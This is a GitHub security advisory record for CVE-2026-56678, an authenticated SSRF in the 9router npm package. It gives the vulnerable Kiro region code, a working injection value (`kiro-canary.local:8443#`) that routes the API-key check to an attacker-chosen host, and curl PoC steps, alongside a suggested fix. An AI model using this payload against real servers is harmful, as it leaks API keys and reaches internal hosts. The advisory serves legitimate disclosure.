CVE-2026-56678: 9router Kiro Region Injection Allows Authenticated Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6mwv-4mrm-5p3m",
  "modified" : "2026-09-23T18:12:30Z",
  "published" : "2026-09-23T18:12:30Z",
  "aliases" : [ "CVE-2026-56678" ],
  "summary" : "9router: Kiro region injection allows authenticated SSRF with Authorization header forwarding",
  "details" : "### Summary\n\nThe Kiro API-key validation endpoint builds an upstream URL using a user-controlled\n`region` value. By supplying a crafted region such as `kiro-canary.local:8443#`, an\nauthenticated attacker can cause 9router to send the Kiro validation request to an\nattacker-controlled host under the constructed `codewhisperer.<region>` hostname. The\nrequest forwards the submitted Kiro API key as an `Authorization: Bearer` header.\n\n### Details\n\n- **Affected version / commit:** 9router v0.5.2 @ `5da508a`.\n- **Endpoint:** `POST /api/oauth/kiro/api-key`.\n- **Correct runtime payload:** `region: \"kiro-canary.local:8443#\"`.\n- Do **not** use the old `@host#` payload (`region: \"@kiro-canary.local:8443#\"`); it is\n  blocked by Node/undici `fetch()` because it creates URL credentials\n  (`\"Request cannot be constructed from a URL that includes credentials\"`).\n- **Constructed upstream host becomes:** `codewhisperer.kiro-canary.local:8443`\n  (the `#` turns the trailing `.amazonaws.com` into a URL fragment).\n- HTTPS canary captured: `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`.\n- TLS verification was **not** globally disabled; the reproduction uses a local CA via\n  `NODE_EXTRA_CA_CERTS`.\n- The no-auth control returns 401, so this standalone issue is **authenticated**.\n- `SameSite=Lax` on the session cookie prevents cross-site POST cookie delivery, so do\n  **not** claim drive-by CSRF unless another same-site / auth-bypass primitive is\n  chained.\n\n**Root cause.** The route reads `region` straight from the request body and passes it,\nunvalidated, into the upstream URL template; the bearer credential is forwarded to that\nhost, and the upstream response body is reflected back to the client on error:\n\n```js\n// src/app/api/oauth/kiro/api-key/route.js\nconst { apiKey, region } = await request.json();\n...\nconst credential = await kiroService.validateApiKey(apiKey, region || \"us-east-1\");\n...\n} catch (error) {\n  return NextResponse.json({ error: error.message }, { status: 500 });   // reflects upstream body\n}\n```\n\n```js\n// src/lib/oauth/services/kiro.js — listAvailableProfiles()\nconst endpoint = `https://codewhisperer.${region}.amazonaws.com`;        // region interpolated\nconst response = await fetch(endpoint, {\n  method: \"POST\",\n  headers: {\n    \"x-amz-target\": \"AmazonCodeWhispererService.ListAvailableProfiles\",\n    \"Authorization\": `Bearer ${accessToken}`,                            // credential forwarded\n    ...\n  },\n  body: JSON.stringify({ maxResults: 10 }),\n});\nif (!response.ok) {\n  const error = await response.text();\n  throw new Error(`Failed to list profiles: ${error}`);                  // upstream body -> error.message\n}\n```\n\nThere is no allowlist on `region`, and the call uses the default fetch dispatcher (no\ninternal-IP denylist / DNS pinning), so a `codewhisperer.<attacker-domain>` that resolves\nto an internal address (e.g. `169.254.169.254` or RFC1918) would be reached.\n\n### PoC\n\nStart the package:\n\n```bash\ndocker compose up --build\n```\n\nThe endpoint is authenticated, so first obtain a dashboard session using the password\nconfigured in `docker-compose.yml` (`INITIAL_PASSWORD`), saving the cookie:\n\n```bash\ncurl -i -c session.txt -X POST http://127.0.0.1:18184/api/auth/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"password\":\"repro-dashboard-pass\"}'\n```\n\nThen send the region-injection request with that session cookie:\n\n```bash\ncurl -i -b session.txt -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"apiKey\":\"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO\",\"region\":\"kiro-canary.local:8443#\"}'\n```\n\nExpected:\n\n- 9router returns a 500 whose body contains a controlled canary marker, indicating the\n  validation request reached the canary and its response was reflected.\n- `docker compose logs kiro-canary` shows a request with:\n  - `Host: codewhisperer.kiro-canary.local:8443`\n  - `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`\n\nNo-auth control (no session cookie):\n\n```bash\ncurl -i -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"apiKey\":\"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO\",\"region\":\"kiro-canary.local:8443#\"}'\n```\n\nExpected: 401 Unauthorized.\n\nSafe-region control (`region: \"us-east-1\"`): no canary hit; the blackholed AWS host is\nnever contacted.\n\n### Impact\n\nAn authenticated attacker can make the server send a Kiro validation request to an\nattacker-controlled host and forward the submitted Kiro API key in the Authorization\nheader. This can be used for SSRF and credential forwarding during Kiro API-key\nvalidation. The issue is authenticated as a standalone bug.\n\n### Screenshots\n\nThe following screenshots show the safe-region control, the region-injection SSRF trigger, the HTTPS canary evidence, and the no-auth control.\n\n#### 1. Safe-region control — normal Kiro validation path\n\n<img width=\"1548\" height=\"831\" alt=\"01-kiro-safe-region-control\" src=\"https://github.com/user-attachments/assets/0a07d82c-16f0-4af3-97f2-145578c9e47b\" />\n\n>**An authenticated request to `/api/oauth/kiro/api-key` using the valid region `us-east-1` and a dummy API key completes normally with `200 OK`. This establishes the expected non-malicious validation path.**\n\n#### 2. Region-injection SSRF trigger — canary marker reflected\n\n<img width=\"1547\" height=\"840\" alt=\"02-kiro-region-injection-ssrf-500-reflection\" src=\"https://github.com/user-attachments/assets/f31a1471-ce8b-490c-a439-58089b3ac780\" />\n\n>**An authenticated request supplies the crafted region value `kiro-canary.local:8443#`. Because the upstream URL is built from the raw `region` value, the request is routed to the attacker-controlled canary host under the constructed `codewhisperer.<attacker-domain>` hostname. The response contains a canary marker, confirming the server-side request reached the controlled endpoint.**\n\n#### 3. HTTPS canary evidence — Authorization header forwarded\n\n<img width=\"1476\" height=\"960\" alt=\"03-kiro-canary-authorization-captured\" src=\"https://github.com/user-attachments/assets/2f445daa-307b-4223-92e8-7482d745d2b1\" />\n\n>**The HTTPS canary logs show a server-side request from the 9router container with `Host: codewhisperer.kiro-canary.local:8443` and `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`. This confirms that the injected region controls the constructed upstream host and that 9router forwards the submitted Kiro API key to that host.**\n\n#### 4. No-auth control — endpoint requires authentication\n\n<img width=\"1544\" height=\"839\" alt=\"04-kiro-no-auth-control-401\" src=\"https://github.com/user-attachments/assets/664955ab-35a3-4c5f-bd5e-bd049f17b0c9\" />\n\n>**The same region-injection payload is sent without an authenticated session cookie, and the server returns `401 Unauthorized`. This confirms the issue is authenticated as a standalone vulnerability and should not be described as unauthenticated unless it is chained with a separate authentication bypass.**\n\n### Suggested Fix\n\n- Validate `region` against a strict allowlist of known Kiro/AWS regions\n  (e.g. `^[a-z]{2}-[a-z]+-\\d$`).\n- Construct upstream endpoints only from fixed enum values.\n- Reject region values containing colon, slash, hash, at-sign, userinfo, whitespace, or\n  hostname separators.\n- After URL construction, validate that the final hostname exactly matches the expected\n  AWS/Kiro hostname pattern.\n- Do not forward Authorization headers to hosts derived from untrusted input, and stop\n  reflecting upstream response bodies in `error.message`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "9router"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.5.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.5.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/decolua/9router/security/advisories/GHSA-6mwv-4mrm-5p3m"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-56678"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/decolua/9router/commit/126aa244c5b51b74ab8c7594e3418fcf4437bf6f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/decolua/9router"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/decolua/9router/releases/tag/v0.5.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-23T18:12:30Z",
    "nvd_published_at" : "2026-07-15T21:16:55Z"
  }
}